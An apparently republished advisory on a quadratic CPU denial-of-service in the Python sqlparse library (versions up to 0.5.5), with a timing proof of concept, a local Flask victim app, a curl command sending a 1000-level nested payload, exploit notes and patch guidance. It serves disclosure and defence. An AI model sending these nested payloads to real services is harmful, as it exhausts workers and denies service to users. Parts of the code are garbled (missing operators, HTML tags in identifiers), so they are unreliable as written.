Listen to this Post
sqlparse, a non-validating SQL parser for Python, implements hard limits (MAX_GROUPING_DEPTH=100, MAX_GROUPING_TOKENS=10000) designed to cap parsing work on attacker-controlled SQL. However, the code path that reaches these caps is itself vulnerable to a severe CPU denial-of-service (DoS) attack.
The root cause lies in the `TokenList.__init__` method, which calls super().__init__(None, str(self)). The `TokenList.__str__` method flattens the entire subtree by calling `flatten()` on every invocation. During SQL parsing, grouping constructs a new `TokenList` for every parenthesis, `CASE` statement, or list group. Consequently, a tree of depth `d` with `n` total tokens performs `O(n d)` flatten work to materialize a cached `value` field that is never actually read for grouped nodes.
This creates a quadratic inefficiency distinct from the input-size caps introduced in previous fixes (GHSA-2m57-hf25-phgg and GHSA-27jp-wm6q-gp25). An attacker can exploit this with a small SQL payload, such as `SELECT (((((1)))))…` with 500-2000 nesting levels, or a 200-400-level nested `CASE WHEN` chain. A mere 2 KB malicious payload can consume ~10 seconds of CPU time per request on a single worker, representing a ~5000x CPU-to-input amplification. The `SQLParseError` exception is only raised after this CPU-intensive work has already been performed.
The vulnerable code exists in `sqlparse/sql.pyL162` (release 0.5.5) and all prior versions that include the `TokenList.__init__` method. The grouping pipeline that triggers this issue is located in `sqlparse/engine/grouping.pyL80` (group_parenthesis) and `L84` (group_case). All documented entry points—sqlparse.parse(sql), sqlparse.format(sql, reindent=True), and sqlparse.split(sql)—are vulnerable by default, with no opt-in flag to disable the quadratic behavior. This affects real-world consumers like SQL formatter web services, Django’s format_debug_sql, and metadata libraries such as sql-metadata.
DailyCVE Form:
Platform: Python
Version: <=0.5.5
Vulnerability : CPU DoS
Severity: High (8.7 CVSS)
date: 2026-08-17
Prediction: 2026-08-20
What Undercode Say:
Analytics & Reproduction
The following bash commands and Python code can be used to reproduce the vulnerability and analyze its performance impact.
1. Setup and Environment
Create and activate a virtual environment python3 -m venv venv source venv/bin/activate Install the vulnerable version pip install sqlparse==0.5.5
2. Minimal Proof of Concept (PoC)
Save the following as `poc.py`:
import sqlparse
import time
import signal
def _h(s, f):
raise TimeoutError()
signal.signal(signal.SIGALRM, _h)
def measure(label, sql, fn):
signal.alarm(30)
t0 = time.perf_counter()
status = 'OK'
try:
fn(sql)
except sqlparse.exceptions.SQLParseError:
status = 'CAP'
except TimeoutError:
status = 'TIMEOUT'
finally:
signal.alarm(0)
dt = (time.perf_counter() - t0) 1000
print(f' {status:8} {dt:8.1f}ms {label} ({len(sql)} B)')
Vector 1: Deeply nested parentheses
for n in (200, 500, 1000, 2000):
sql = 'SELECT ' + '(' n + '1' + ')' n
measure(f'nested-paren n={n}', sql, sqlparse.parse)
Vector 2: Deeply nested CASE WHEN
for n in (100, 200, 400):
case = '1'
for i in range(n):
case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'
measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)
3. cProfile Analysis
python -m cProfile -s cumtime poc.py
4. End-to-End Reproduction (Flask Victim App)
Save the following as `victim_app.py`:
from flask import Flask, request, jsonify
import sqlparse
import time
app = Flask(<strong>name</strong>)
@app.route('/parse', methods=['POST'])
def parse_sql():
sql = request.get_data(as_text=True)
t0 = time.perf_counter()
try:
sqlparse.parse(sql)
return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)1000, 1)})
except sqlparse.exceptions.SQLParseError as e:
return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)1000, 1), 'error': str(e)}), 400
@app.route('/format', methods=['POST'])
def format_sql():
sql = request.get_data(as_text=True)
t0 = time.perf_counter()
formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')
return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)1000, 1), 'len': len(formatted)})
if <strong>name</strong> == '<strong>main</strong>':
app.run(host='127.0.0.1', port=5099, threaded=False)
Run the victim app and send malicious payloads:
Start the server
python victim_app.py
In another terminal, send a malicious payload
curl -X POST http://127.0.0.1:5099/parse -d "SELECT $(\printf '(%s' {1..1000})1$(printf ')%s' {1..1000})"
Exploit: (Educational Purposes!)
An attacker can exploit this vulnerability by sending a small, highly-nested SQL payload to any service that uses sqlparse.parse(), sqlparse.format(), or `sqlparse.split()` on user-supplied input.
Attack Vectors:
- Deeply Nested Parentheses: A payload like `SELECT (((((1)))))…` with 500-2000 nesting levels.
- Nested CASE WHEN Chains: A 200-400-level nested `CASE WHEN` statement.
- Nested Subqueries or ARRAY[] Literals: Any construct that forces the parser to build a deep token tree.
Impact of a Single Request:
- A 2 KB payload (e.g., 1000 nested parentheses) pins a single worker for ~10 seconds at 100% CPU.
- A 1 KB payload (500 nested parentheses) consumes ~1.3 seconds of CPU time.
Multi-Worker Denial of Service:
In a multi-worker deployment (e.g., gunicorn -w N), an attacker can send `N` concurrent malicious requests to exhaust the entire worker pool, rendering the service unavailable.
Downstream Library Impact:
Libraries like `sql-metadata` that call `sqlparse.parse()` internally inherit the same vulnerability.
Protection:
1. Upgrade to Fixed Version
The vulnerability is fixed in sqlparse version 0.6.0. Upgrade immediately:
pip install --upgrade sqlparse
2. Apply the Patch Manually (if upgrade is not possible)
Replace the eager `str(self)` materialization in `sqlparse/sql.py` with a single-pass concatenation of children’s already-cached `value` fields:
def <strong>init</strong>(self, tokens=None): self.tokens = tokens or [] [setattr(token, 'parent', self) for token in self.tokens] Fix: Avoid O(subtree) flatten; use O(len(tokens)) concatenation super().<strong>init</strong>(None, ''.join(token.value for token in self.tokens)) self.is_group = True
This fix preserves the `Token.value` invariant while reducing per-node cost from `O(subtree)` to O(len(self.tokens)).
3. Performance Improvement After Fix
| Vector | Before Fix | After Fix | Speedup |
|–||–||
| nested-paren n=500 | 1336 ms | 11 ms | 121x |
| nested-paren n=1000 | 11206 ms | 22 ms | 509x |
| nested-paren n=2000 | TIMEOUT (>10 s) | 45 ms | 220x+ |
| CASE-nested n=200 | 559 ms | 25 ms | 22x |
| CASE-nested n=500 | TIMEOUT (>10 s) | 61 ms | 160x+ |
| benign 1 KB SQL | 3 ms | 3 ms | unchanged |
4. Input Validation (Defense-in-Depth)
If an immediate upgrade is not feasible, consider implementing a reverse proxy or Web Application Firewall (WAF) rule to block requests containing excessive nesting of parentheses or `CASE` statements. However, this is a temporary measure and not a complete solution.
Impact
- Single-Threaded Services: A 1-2 KB malicious payload can lock a worker for 1-10 seconds, causing significant latency and resource exhaustion.
- Multi-Worker Services: An attacker can send `N` parallel requests to exhaust the entire worker pool, leading to a full denial of service.
- Wire-to-CPU Amplification: The worst-case vector exhibits a ~5000x amplification (2 KB request → 10 seconds of CPU time).
- Downstream Libraries: Any library or application that calls
sqlparse.parse(),sqlparse.format(), or `sqlparse.split()` on user input is affected. - CVSS Score: 8.7 (High).
- CWE: CWE-1333 (Inefficient Regular Expression Complexity) and CWE-407 (Inefficient Algorithmic Complexity).
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

